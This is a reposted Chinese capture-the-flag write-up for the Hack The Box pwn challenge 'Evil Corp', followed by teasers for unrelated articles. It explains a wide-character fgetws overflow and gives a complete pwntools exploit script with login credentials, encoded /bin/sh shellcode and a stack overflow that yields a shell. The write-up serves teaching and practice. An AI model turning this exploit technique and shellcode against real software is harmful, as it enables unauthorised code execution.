HTB pwn Evil Corp

程序分析

在这里插入图片描述
初始化功能
申请了一块正常块和一块可以执行shellcode的空间

在这里插入图片描述
登录
在这里插入图片描述
向正常块写入数据
在这里插入图片描述
字符宽度转换

漏洞分析

所有的输入都使用了fgetws函数这个函数,这个函数会把整个串的每一个字符按最低两个宽来接收输入,如果存在unicode32等等更宽的字符这个函数会把每个字符都按最宽字符的宽度拓展。
例如:
‘a’ 总共占2个字节
‘a’ + '\u1111’总共占4个字节
‘a’ + '\U00000000’总共占8个字节
在这里插入图片描述
在这里插入图片描述
第二个函数是向正常块复制数据但是由于使用了fgetws实际上在空间中就会占用至少0x2000个字节又因为正常块大0x1000字节所以只需要输入0x800个ASCII就可以覆盖完正常块,接下来将shellcode两两一组编成unicode16传输就可以被程序正常接收了。
在这里插入图片描述
成功覆盖出正常块并且写入shellcode到可执行块上
在这里插入图片描述
这边也同理我们可以使用ASCII来多占空间完成栈溢出,最后可以使用unicode32字符一次性占4个字节完成地址覆盖。

exp

from pwn import *
context.arch = 'amd64'
def gd():gdb.attach(p)pause()
def login():p.recvuntil(b'Username: ')p.sendline(b'eliot') p.recvuntil(b'Password: ')p.sendline(b'4007')
def logout():p.recvuntil(b">> ")p.sendline(b'3') 
def login1(data):p.recvuntil(b'Username: ')p.sendline(b'eliot') p.recvuntil(b'Password: ')p.sendline(data) 
def input(data):p.recvuntil(b">> ")p.sendline(b'2')sleep(0.1)p.sendline(data)
p = process("./evil-corp")
#p = remote("94.237.54.75",54453)
login()
shellcode='\u686a\ub848\u622f\u6e69\u2f2f\u732f\u4850\ue789\u7268\u0169\u8101\u2434\u0101\u0101\uf631\u6a56\u5e08\u0148\u56e6\u8948\u31e6\u6ad2\u583b\u050f'
input('a'*0x800 + shellcode)
logout()
login1('a' * 0x56 + '\U00011000' + '\x00\x00')#0x56 * 4 = 0x158p.interactive() 

成功getshell
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/684772.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

蓝桥杯:C++二分算法

在基本算法中,二分法的应用非常广泛,它是一种思路简单、编程容易、效率极高的算法。蓝桥杯软件类大赛中需要应用二分法的题目很常见。 二分法有整数二分和实数二分两种应用场景 二分法的概念 二分法的概念很简单,每次把搜索范围缩小为上一…

Linux常用指令总结

Linux内核的官方网站:https://www.kernel.org/ 目录 命令备忘录1.关机/重启/注销2.系统信息和性能查看3.磁盘和分区4.用户和用户组5.网络和进程管理6.常见系统服务命令7.文件和目录操作8.文件查看和处理9.打包和解压10.RPM包管理命令11.YUM包管理命令12.DPKG包管理命…

AJAX——AJAX入门

1 什么是AJAX? Ajax(Asynchronous JavaScript and XML)是一种用于在Web应用程序中实现异步通信的技术。 简单点说,就是使用XMLHttpRequest对象与服务器通信。它可以使用JSON、XML、HTML和test文本等格式发送和接收数据。 AJAX最吸…

P2338 [USACO14JAN] Bessie Slows Down S

题目链接 分析 模拟当前的距离和时间,算出最靠前的减速事件,但是我们发现每次减速事件的顺序可能会发生改变,所以我们可以将两类事件分开处理,按时间排序,每次计算最先发生的减速事件,处理即可。 代码 …

【Android 逆向】程序员高危开发方向 ( 违法软件类型 | 赌博游戏 | 色情类应用 | 涉及金融类软件 | 爬虫类软件 | 区块链货币 | 甄别是否合法 )

文章目录 一、违法软件类型1、棋牌类赌博游戏2、色情类应用3、涉及金融类软件4、爬虫类软件5、区块链货币 二、甄别是否合法1、查看有没有正规的版号2、查看应用内的货币能否提现3、概率购物 一、违法软件类型 1、棋牌类赌博游戏 棋牌类 游戏开发 , 写这类游戏的程序员 很容易被…

突破编程_C++_面试(高级特性(1))

面试题1:什么是线程以及它在并发编程中的作用是什么 线程( Thread )是操作系统能够进行运算调度的最小单位,它被包含在进程之中,是进程中的实际运作单位。一条线程指的是进程中一个单一顺序的控制流,一个进…

【深入理解BEVFormer】BEVFormer

任务场景 多模态融合和多传感器融合 BEV:鸟瞰图 这个特征空间与每个视角都相关 早期是用后融合,目前比较流行的是特征级融合 自身运动补偿:如果按照像素点进行特征对齐,需要指定偏移量 x y两个方向 特征空间是自己定义的&#xf…

NumPyML 源码解析(五)

numpy-ml\numpy_ml\preprocessing\nlp.py # 导入必要的库和模块 import re import heapq import os.path as op from collections import Counter, OrderedDict, defaultdict import numpy as np# 定义英文停用词列表,来源于"Glasgow Information Retrieval G…

NBlog个人博客部署过程记录 -- 后端springboot + 前端vue

项目是fork的Naccl大佬NBlog项目,页面做的相当漂亮,所以选择了这个。可以参考2.3的效果图 惭愧,工作两年了也每个自己的博客系统,趁着过年时间,开始搭建一下. NBlog原项目的github链接:Naccl/NBlog: &#…

毕业设计vue+php幼儿园网站系统yl567

幼儿园网站系统。采用vscode集成IDE对幼儿园网站系统统进行开发,整合系统的各个模块。 拟开发的幼儿园网站系统通过测试,确保在最大负载的情况下稳定运转,各个模块工作正常,具有较高的可用性。系统整体界面简洁美观,用户使用简单,满足用户需要。在因特网发展迅猛的当今社会,幼儿…

什么是Java中的JVM(Java虚拟机),你能解释一下JVM的体系结构吗?

什么是Java中的JVM(Java虚拟机),你能解释一下JVM的体系结构吗? Java虚拟机(JVM)是Java程序的运行环境,它负责将Java字节码转换为机器码并执行。JVM是Java跨平台特性的关键,它使得Ja…

代码随想录算法训练营Day58|739. 每日温度、496.下一个更大元素 I

目录 739. 每日温度 前言——单调栈介绍 思路 算法实现 496.下一个更大元素 I 前言 思路 算法实现 总结 739. 每日温度 题目链接 文章链接 前言——单调栈介绍 通常是一维数组,要寻找任一个元素的右边或者左边第一个比自己大或者小的元素的位置,…

【计算机网络】网络层之IP协议

文章目录 1.基本概念2.协议头格式3.网段划分4.特殊的IP地址5.IP地址的数量限制6.私有IP地址和公网IP地址7.路由 1.基本概念 IP地址是定位主机的,具有一个将数据报从A主机跨网络可靠的送到B主机的能力。 但是有能力就一定能做到吗,只能说有很大的概率。…

[职场] 事业单位医疗岗常见的面试题目 #微信#微信#微信

事业单位医疗岗常见的面试题目 面试是步入社会以及就业过程中必须经历的一个首要阶段,也是实现就业必经的之道,可以说面试是双向选择和考试考核评价的过程,是企业选择应聘者的同时也应聘者也在选择企业。 一.常见的面试题目 1.对医学基础知…

计网体系结构

计算机网络的概述 概念 网络:网状类的东西或系统。 计算机网络:是一个将分散的、具有独立性功能的计算机系统,通过通信设备与线路连接起来,由功能完善的软件实现资源共享和信息传递的系统。即计算机网络是互连(通过通信链路互连…

C++ Primer Plus笔记1

一、变量 1.1 整型 (以下数据特指win11操作系统中minGW的C11标准) C内置的9种整型变量(wchar_t,char16_t,char32_t等不予讨论) C内置9种整形变量变量名取值范围int(signed int、signed)-2^31~2^31-1unsigned int0~2^32-1short-2^15~2^15-1unsigned short0~2^16-1long-2^31~2^…

C/C++中的max函数如何使用?哪个头文件?多个数字可以用max吗?

在C中&#xff0c;max函数是一个非常实用的函数&#xff0c;它用于比较两个或更多数值并返回其中的最大值。这个函数在头文件中定义。 下面是如何在C中使用max函数的一些示例&#xff1a; #include <iostream> #include <algorithm> // 引入algorithm头文件以使…

前端可能需要的一些安装

Node.js Node.js 官网 Node.js 中文网 Node.js is an open-source, cross-platform JavaScript runtime environment. Node.js是一个开源、跨平台的JavaScript运行时环境。Recommended for most users 推荐大多数用户使用哔哩哔哩安装视频 安装 node.js 的时候&#xff0c;会…

python-使用ffmpeg批量修改文件的后缀名

import os import subprocessdef convert_ogg_to_mp3(directory):for filename in os.listdir(directory):if filename.endswith(".ogg"):# 获取文件的完整路径file_path os.path.join(directory, filename)# 创建一个新的文件名&#xff0c;只是将扩展名从.ogg更改…

sqlserver 增删改查

1.创建表 create table test_tb( Id int primary key not null, Name varchar(50) not null, Sex char(4) null, Age int null );2.插入单条数据 insert into test_tb(Id,Name,Sex,Age) values(1,PZ,男,10);3.插入多条数据 insert into test_tb(Id,Name,Sex,Age) values (2,…